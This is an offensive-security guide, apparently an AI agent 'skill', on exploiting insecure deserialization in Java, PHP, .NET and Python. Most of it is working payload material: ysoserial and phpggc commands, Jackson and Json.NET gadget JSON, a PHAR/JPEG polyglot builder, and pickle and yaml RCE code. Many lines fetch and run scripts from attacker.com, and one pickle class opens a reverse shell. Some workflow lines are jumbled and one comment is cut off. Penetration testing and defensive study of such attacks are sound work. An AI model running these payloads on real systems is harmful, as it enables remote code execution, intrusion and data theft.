offensive-deserialization skill

Offensive Deserialization

Deserialization vulnerabilities arise when an application reconstructs objects from serialized byte streams without validating the type, integrity, or origin of the data. Object reconstruction triggers constructors, finalizers, and language-specific magic methods, so an attacker who controls the serialized input often achieves remote code execution before any application-level validation runs.

Quick Workflow

HTTP bodies, headers, message queue messages, file uploads, GraphQL custom scalars, gRPC fields, JMX/RMI endpoints.

1. Enumerate every entry point accepting opaque binary or encoded data -- cookies,

error behavior (see Recognition Signatures).

1. Fingerprint the serialization format via magic bytes, content-type headers, and

headers, or source code.

1. Determine the server-side language and framework version from error pages, HTTP

Generate payloads with ysoserial, phpggc, ysoserial.net, or manual construction.

1. Select candidate gadget chains matching the target classpath or installed packages.

proof to confirm execution without destructive side effects.

1. Deliver through the identified entry point. Start with DNS-only or sleep-based

1. Escalate from proof-of-concept to the engagement objective with authorization.
2. Document the full chain: entry point, format, gadget chain, library versions, proof.

Recognition Signatures

Java Deserialization

ObjectInputStream.readObject() instantiates arbitrary classes present on the classpath. Decades of library code provide usable gadget chains.

Identifying Sinks

// Direct ObjectInputStream usage
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();

// XMLDecoder -- equally dangerous, often overlooked
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();

// XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);

// Jackson polymorphic typing -- CVE-2017-7525 and successors
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();

// Jackson @JsonTypeInfo on base class
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public abstract class BaseCommand { }

// JMX/RMI endpoints -- default port 1099, often unauthenticated

serialVersionUID and Classpath Constraints

Every serializable Java class carries a serialVersionUID. A mismatch causes InvalidClassException before any gadget logic executes. Extract the server's UID from error messages or decompiled JARs, then rebuild the payload with ysoserial's source. The UID often changes only on major releases, so brute-forcing common versions is feasible when the exact version is unknown.

ysoserial Gadget Chains

Match the chain to libraries present on the target classpath.

# CommonsCollections -- most widely applicable
# CC1: commons-collections 3.1, JDK < 8u72
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin
# CC5: later JDK versions where CC1 is patched
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin
# CC7: Hashtable entry point, bypasses some ObjectInputFilter rules
java -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin

# Spring chain -- requires spring-core + spring-beans
java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin
# Hibernate chain -- requires hibernate-core
java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64}|{base64,-d}|bash' > payload.bin
# CommonsBeanutils -- present in many apps via shaded dependencies
java -jar ysoserial.jar CommonsBeanutils1 'ping -c 3 attacker.com' > payload.bin

# URLDNS -- DNS lookup only, no RCE, safe for detection confirmation
java -jar ysoserial.jar URLDNS 'http://deser-confirm.attacker.com' > payload.bin

# JRMPClient -- redirect deser to attacker-controlled JRMP listener
java -jar ysoserial.jar JRMPClient 'attacker.com:1099' > payload.bin
# On attacker host, s

JMX/RMI Deserialization

JMX and RMI registries accept serialized objects over the wire and are frequently exposed without authentication on internal networks.

# Scan for RMI registries
nmap -sV -p 1099,1098,9010,9011 --script rmi-dumpregistry TARGET

# marshalsec: exploit RMI/JNDI
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \
  "http://attacker.com:8080/#ExploitClass" 1099

Jackson Polymorphic Typing

When enableDefaultTyping() or @JsonTypeInfo(use = Id.CLASS) is active, you supply a JSON array naming the class to instantiate.

["com.sun.rowset.JdbcRowSetImpl",
 {"dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}]

Jackson maintainers continuously add classes to a denylist. Check the target's version against known bypass classes: org.apache.ibatis.datasource.jndi.JndiDataSourceFactory, com.caucho.config.types.ResourceRef, and similar JNDI-capable beans.

PHP Deserialization

unserialize() instantiates objects and invokes magic methods (wakeup, destruct, __toString) during reconstruction. The phar:// stream wrapper triggers deserialization without an explicit unserialize() call.

Identifying Sinks

// Direct unserialize
$obj = unserialize($userInput);

// phar:// wrapper -- any file operation on a phar:// path is a sink
file_exists("phar://uploads/avatar.jpg");
is_dir("phar://" . $userControlledPath);
// Triggering functions: file_exists, is_dir, is_file, file_get_contents,
// fopen, fileatime, filectime, filemtime, filesize, copy, rename, unlink,
// stat, lstat, getimagesize, exif_read_data, hash_file, md5_file, sha1_file

phpggc Gadget Chains

phpggc -l  # List all available chains

# Laravel RCE -- PendingBroadcast + Dispatcher, works 5.5 through 9.x
phpggc Laravel/RCE1 system 'id' -b        # -b = base64
phpggc Laravel/RCE10 system 'cat /etc/passwd' -s  # -s = serialized

# Symfony RCE -- targets process component
phpggc Symfony/RCE4 exec 'curl http://attacker.com/s.sh|bash' -b
# Monolog RCE -- present in most Composer projects
phpggc Monolog/RCE1 system 'whoami' -b
# Guzzle / WordPress chains
phpggc Guzzle/RCE1 system 'id' -b
phpggc WordPress/RCE1 system 'id' -b

# PHAR output instead of raw serialized data
phpggc Laravel/RCE1 system 'id' -p phar -o exploit.phar
# PHAR polyglot disguised as JPEG
phpggc Laravel/RCE1 system 'id' -p phar -pp header.jpg -o exploit.jpg

phar:// Exploitation

The phar:// wrapper deserializes the metadata section of a PHAR archive on any file operation. The sink is a file function, not unserialize(), so it evades many audits.

// Build a malicious PHAR (php.ini: phar.readonly = 0)
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$object = new VulnerableClass();
$object->command = 'id';
$phar->setMetadata($object);
$phar->stopBuffering();

// Create a polyglot by prepending a JPEG header
$jpegHeader = file_get_contents('legitimate.jpg');
file_put_contents('exploit.jpg', $jpegHeader . file_get_contents('exploit.phar'));

Upload the polyglot as an image, then trigger a file operation referencing phar://uploads/exploit.jpg/test.txt.

.NET Deserialization

BinaryFormatter is the most dangerous .NET serializer. Microsoft has formally deprecated it, but legacy applications and internal tools still use it.

Identifying Sinks

// BinaryFormatter -- deprecated, always dangerous
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);

// SoapFormatter / NetDataContractSerializer -- equally dangerous, less common

// LosFormatter -- used in ViewState
LosFormatter los = new LosFormatter();
object obj = los.Deserialize(viewStateString);

// Json.NET with TypeNameHandling != None
JsonConvert.DeserializeObject<object>(json, new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.All  // or Objects, Arrays, Auto
});

ysoserial.net Payloads

# TypeConfuseDelegate -- broad .NET coverage
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "ping attacker.com"
# WindowsIdentity -- when TypeConfuseDelegate is blocked
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "certutil -urlcache -split -f http://attacker.com/s.exe C:\Temp\s.exe"
# TextFormattingRunProperties -- targets WPF/XAML
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc.exe"
# PSObject -- PowerShell-specific
ysoserial.exe -g PSObject -f BinaryFormatter -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"
# Json.NET TypeNameHandling
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "cmd /c whoami > C:\proof.txt"
# Base64 output for ViewState or cookie injection
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping attacker.com" -o base64

ViewState Exploitation

ASP.NET ViewState is a serialized hidden form field. When MAC validation is disabled or the machine key is known, you inject a gadget chain directly.

# If machine key is known (web.config disclosure, default keys):
ysoserial.exe -p ViewState \
  -g TextFormattingRunProperties \
  -c "powershell -enc BASE64CMD" \
  --validationalg="SHA1" \
  --validationkey="KNOWN_KEY" \
  --generator="GENERATOR_VALUE" \
  --path="/target/page.aspx" \
  --islegacy

Json.NET TypeNameHandling

When TypeNameHandling is not None, the $type property controls instantiation.

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": ["cmd.exe", "/c whoami"]
  },
  "ObjectInstance": {"$type": "System.Diagnostics.Process, System"}
}

Python Deserialization

Python's pickle executes arbitrary code during deserialization through the reduce method. There is no safe way to deserialize untrusted pickle data.

pickle RCE

import pickle, os, base64

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/callback',))

payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())

# Reverse shell variant
class ReverseShell:
    def __reduce__(self):
        return (os.system, (
            'python3 -c \'import socket,subprocess,os;'
            's=socket.socket();s.connect(("attacker.com",4444));'
            'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'
            'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'',))

# Chained multi-step payload
class ChainedExploit:
    def __reduce__(self):
        return (eval, ("__import__('os').system('wget http://attacker.com/i -O /tmp/i && chmod +x /tmp/i && /tmp/i')",))

yaml.load RCE

yaml.load() without a safe loader permits arbitrary object instantiation.

# Direct command execution
!!python/object/apply:os.system
- "curl http://attacker.com/callback"

# Subprocess with output
!!python/object/apply:subprocess.check_output
- ["id"]